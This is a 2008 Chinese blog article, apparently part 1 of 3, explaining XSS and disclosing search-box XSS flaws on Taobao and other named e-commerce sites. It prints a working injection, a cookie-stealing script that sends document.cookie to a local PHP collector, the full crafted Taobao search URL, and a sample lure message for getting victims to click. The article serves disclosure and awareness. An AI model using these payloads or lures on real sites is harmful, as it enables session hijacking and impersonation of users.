我刚入行的时候做过一个小小的页面工具,其中有一个步骤是把一些代码输出到页面上,当时我用的是php做的,写了个for循环,读取每一行的内容,然后echo出来。但是我发现页面排版老是那么的乱,怎么缩进都没有了?有一些代码还显示不出来?这太让我纳闷了,于是问一个学长是怎么一回事,他说:“当然啦,你输出的内容被浏览器解释过后的样子就是这样子的了,比如说你的空格浏览器是不承认的,你要输出空格就得用nbsp; ……”这时我才反应过来:“哦,原来如此……”。那时我才知道,在html的输出上代码和内容还是得程序员自己去区分的。
XSS的非常简单的介绍XSS(Cross-site scripting)漏洞最早可以追溯到1996年,那时电子商务才刚刚起步,估计那时候国内很少人会想象到今天出现的几个国内电子商务巨头淘宝、当当、亚马逊(卓越)。XSS的出现“得益”于JavaScript的出现,JavaScript的出现给网页的设计带来了无限惊喜,包括今天风行的AJAX(Asynschronous JavaScript and XML)。同时,这些元素又无限的扩充了今天的网络安全领域。
然而,时至今天,国内还有很多同行对XSS漏洞没有重视起来:
“反正XSS又不会窃取我的root权限……”
“切,让他把我的数据库down下来啊……”
2005年10月,国外知名网络社区MySpace出现了一个叫Samy的XSS蠕虫在24小时内感染了超过1百万个网页。而不久之前,百度也出现了XSS蠕虫。
于是大家终于对XSS漏洞的危害开始有更深层次的认识了。
不能忽视的XSS漏洞
现在很多同行都把注意力放在XSS蠕虫上面,开始注意到:
用户填写的资料输出的时候过滤了没有?
用户发的帖子中的特殊字符需要转义吗?
用户写的<img src=http://some_site/some.js />在页面加载的时候是呈现出一张“图片”吗?
……
但是很多人忽视了最常用的一个输入框---搜索框。很多公司对搜索框的输出过滤不严格,甚至完全不做过滤,以为搜索框不会出什么乱子的。其中包括一下大家都了解的电子商务公司:
*淘宝
*当当
*亚马逊中国(前身是卓越网)
*腾讯
其中前3家公司我所发现的搜索输入框XSS漏洞到我写这篇文章时(2008-2-18)还没被修补。
漏洞分析:
搜索输入框产生XSS漏洞的原因是在多数情况下搜索完之后页面上面会显示:
搜索关键词XXX,得出结果YY个
没有出现关键词XXX,需要缩小搜索范围吗?
……
同时,很多搜索的结果页面的源代码会发现很多标签是以XXX作为属性值的,比如说value属性
这样就给XSS Attacker带来了机会。
1.淘宝
作为国内最牛的C2C 电子商务平台,淘宝一直让人觉得放心(可以想象,如果淘宝爆出重大的安全漏洞的话会有多大的负面影响啊)。我也一直对淘宝很信赖,只到我在搜索框输入简简单单的几个字符就把淘宝里面的“XSS定时炸弹”给发现了。
淘宝的首页 http://www.taobao.com 如下图,我的第一反应是在正中的搜索框输入以下字符串:
<!--'">&:

图 1. 淘宝首页
没有发现任何异常现象,于是我仔细观察一下,原来在右上角还有一个搜索框。于是我再把那段字符串输入一次。结果出现一片空白,左下角出现:

图 2:淘宝的输出异常
这时我心中一喜,知道大概发现淘宝的XSS漏洞了。上天不负有心人,果然给我在网页源代码中发现一下一段:

图3:淘宝的源代码异常
我的VIM编辑器能够以各种style的颜色很好的显示各种类型的代码(包括C,html,php……),所以在这我剪了个图来展示淘宝的代码异常。呵呵,有一个地方没有做过滤。
于是我尝试把代码中原有的代码给闭合起来,并让其弹出一个一个对话框。于是我构造以下语句:
以下是引用片段: </h1><script>alert('xss');</script></h1> |
结果发现凑效。如下图:

图4:淘宝弹出XSS框
为了让大家了解一下XSS漏洞的危害性,我决定弄一个偷取用户cookies的XSS漏洞出来。代码如下:
以下是引用片段: </h1><script>var a='<img src="http://127.0.0.1/ted.php?cookie=';a%2B=escape (document.cookie);a%2B='">';document.write(a);</script></h1> |
整个url如下:
以下是引用片段: http://search1.taobao.com/browse/search_auction.htm?at_topsearch=0&commend=all&f=D9_5_1&sort=&q=</h1><script>var a='<img src="http://127.0.0.1/ted.php?cookie=';a%2B=escape (document.cookie);a%2B='">';document.write(a);</script></h1> |
这样XSS Attacker就可以在淘宝的各个社区论坛,淘宝群,淘宝好友发消息:
“嘿,我刚刚发现淘宝上面居然有陈冠希的写真集卖,我开始还不相信,后来发现是真的,不信点击以下连接:XXXXXXXXXXX”
当无辜用户点击了上面的连接后就会发现什么都没有,被忽悠了。不过多数人大概也就不以为然罢了,反正又没有什么损失,XSS Attacker正是抓住了人们的好奇心来进行攻击的。其实在黑客自己服务器上面已经获取了用户的cookies信息了,接着他可以用桂林老兵等浏览器,修改自己的cookies信息以无辜用户的身份登录淘宝社区胡作非为了。我的尝试就到此了,我并没有欺骗别人的淘宝cookies,以别人的身份登录,以为这个已经涉及到法律范畴了。(俺可是守法的好公民哦^_^)

图5 从无辜的淘宝用户那里偷来的cookie信息
[1] [2] [3] 下一页